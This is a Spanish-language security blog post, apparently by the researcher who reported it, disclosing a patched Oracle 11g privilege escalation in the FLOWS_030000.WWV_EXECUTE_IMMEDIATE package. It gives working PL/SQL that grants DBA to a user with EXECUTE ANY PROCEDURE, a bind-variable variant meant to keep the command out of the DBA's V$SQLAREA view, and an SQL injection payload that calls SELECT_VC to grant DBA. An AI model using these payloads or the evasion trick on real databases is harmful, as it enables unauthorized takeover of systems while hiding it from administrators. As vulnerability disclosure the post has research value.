Escalada de Privilegios en Oracle 11g
Una pequeña nota en los parches de fallas de seguridad de Abril del 2008 (Oracle Critical Patch Update April 2008) indica que existe una falla en el paquete flows_030000.wwv_execute_immediate. Esta falla la comuniqué hace algún tiempo a iDefense y hace pocos dÃas sacaron un advisory en el que informan de que la vulnerabilidad ha sido corregida en este conjunto de parches. La escalada de privilegios es realmente tonta, pero hay que tener privilegios un poco elevados (los cuales se consiguen con fallas de inyección SQL en paquetes de usuarios no DBA, por ejemplo…).
La vulnerabilidad en cuestión fue encontrada buscando vectores que permitiesen escalar privilegios con usuarios que tenÃan el peligroso privilegio del sistema EXECUTE ANY PROCEDURE. Este privilegio tan potente permite que el usuario poseedor del mismo pueda ejecutar cualquier procedimiento almacenado exceptuando aquellos que sean del usuario SYS y no se hayan otorgado especÃficamente. Este privilegio que a todas luces no se deberÃa de otorgar nunca es alegremente otorgado a multitud de usuarios instalados por defecto en muchas aplicaciones de Oracle. Sin embargo, no está pensado (como creo que está claro…) para que nadie pueda escalar privilegios, por eso deniegan la ejecución de paquetes del usuario SYS (algo asà como el root en bases de datos Oracle) exceptuando aquellos que han sido especÃficamente otorgados.
De este modo Oracle pensaba que se habÃa quitado el problema con el cual un usuario que tenga otorgado dicho privilegio pudiese escalar hasta ser DBA (o SYSDBA, por ejemplo), sin embargo, existen muchos paquetes que no son pertenecientes al usuario SYS y que permiten esta escalada como por ejemplo este paquete: flows_030000.wwv_execute_immediate. La vulnerabilidad se muestra claramente en el siguiente fragmento de código:
connect / as sysdba;create user matalaz identified by matalaz;grant create session, execute any procedure to matalaz; connect matalaz/matalaz; SELECT * FROM USER_ROLE_PRIVS; --Devuelve 0 filas / DECLARE P_SQL VARCHAR2(200); P_USER VARCHAR2(200); BEGIN P_SQL := 'GRANT DBA TO matalaz'; P_USER := 'SYS'; FLOWS_030000.WWV_EXECUTE_IMMEDIATE.RUN_BLOCK( P_SQL => P_SQL, P_USER => P_USER ); END; /
Asà de fácil (y triste, para no romper la tradición en reverse(«elcaro»)…). En este script se crea un usuario con privilegios de conexión (CREATE SESSION) y de ejecución de cualquier paquete (EXECUTE ANY PROCEDURE), después, se cambia a dicho usuario y se ejecuta la escalada de privilegios. Limpia y sencilla. En mi opinión, excesivamente obvia.
El único problema que se puede encontrar con este script para escalar privilegios es que dicho comando SQL se puede ver simplemente consultando la vista SYS.V$SQLAREA, vamos, que el DBA se podrÃa dar cuenta rápidamente. Para evitar que sea detectable por dicha vÃa, tan fácil como ejecutar dicho fragmento PL/SQL como sigue:
BEGIN
FLOWS_030000.WWV_EXECUTE_IMMEDIATE.RUN_BLOCK(
P_SQL => :P_SQL,
P_USER => :P_USER
);
END;
Al utilizar variables enlazadas (como se llama a este método) herramientas como Toad, SQL Developer o SQL*Plus nos pedirán los valores y serán utilizados PERO no se podrán consultar en SYS.V$SQLAREA ya que solo aparecerán los textos :P_SQL y :P_USER (las variables enlazadas) y no sus valores.
Esta falla resulta especialmente interesante, por ejemplo, para evitar tener que crear un paquete PL/SQL (y por supuesto tener su correspondiente privilegio) a la hora de explotar otras fallas de inyección sql en Oracle en las que necesitamos que ejecute funciones que podamos controlar.
Además del mencionado procedimiento RUN_BLOCK (que no podrÃa ser utilizado en otras fallas de inyección SQL ya que para ello necesitarÃamos que fuese una función) otros tantos del mismo paquete permiten hacer exactamente lo mismo, como por ejemplo la función SELECT_VC. Esta función se encarga de ejecutar y parsear un comando SQL y, al igual que el procedimiento RUN_BLOCK, permite especificar como que usuario se ha de ejcutar (Divertido, ¿Eh…?). Asà pues, supongamos que hemos encontrado un paquete vulnerable a inyección SQL de algún usuario con el privilegio EXECUTE ANY PROCEDURE, ahora no necesitamos crearnos una función (y tener el privilegio para crear funciones) e inyectarla, simplemente, inyectamos la llamada a esa función:
DECLARE
V_VAR VARCHAR2(50);
BEGIN
V_VAR := »’ OR FLOWS_030000.WWV_EXECUTE_IMMEDIATE.SELECT_VC(»’GRANT DBA TO matalaz»’)!=0–‘;
SYS.VULNERABLE_PKG.VULNERABLE_PROC(SCHEMA=> V_VAR);
END;
Al ejecutar este script, nos dará un casque diciendo que no se ha parseado ningún sentencia SQL… La función espera una consulta SQL, no espera un GRANT como está claro… La única lástima de este método de poder inyectar código arbitrario en paquetes PL/SQL vulnerables a inyección SQL es que el tamaño de la cadena a inyectar se hace muy grande y, en ocasiones, hasta Oracle controla los tamaños de cadena. Pero solo en ocasiones, que tanto código de comprobaciones es un desperdicio…
Bueno, pues eso es todo. La vulnerabilidad ha sido corregida en la versión de APEX 3.1 (Application Express).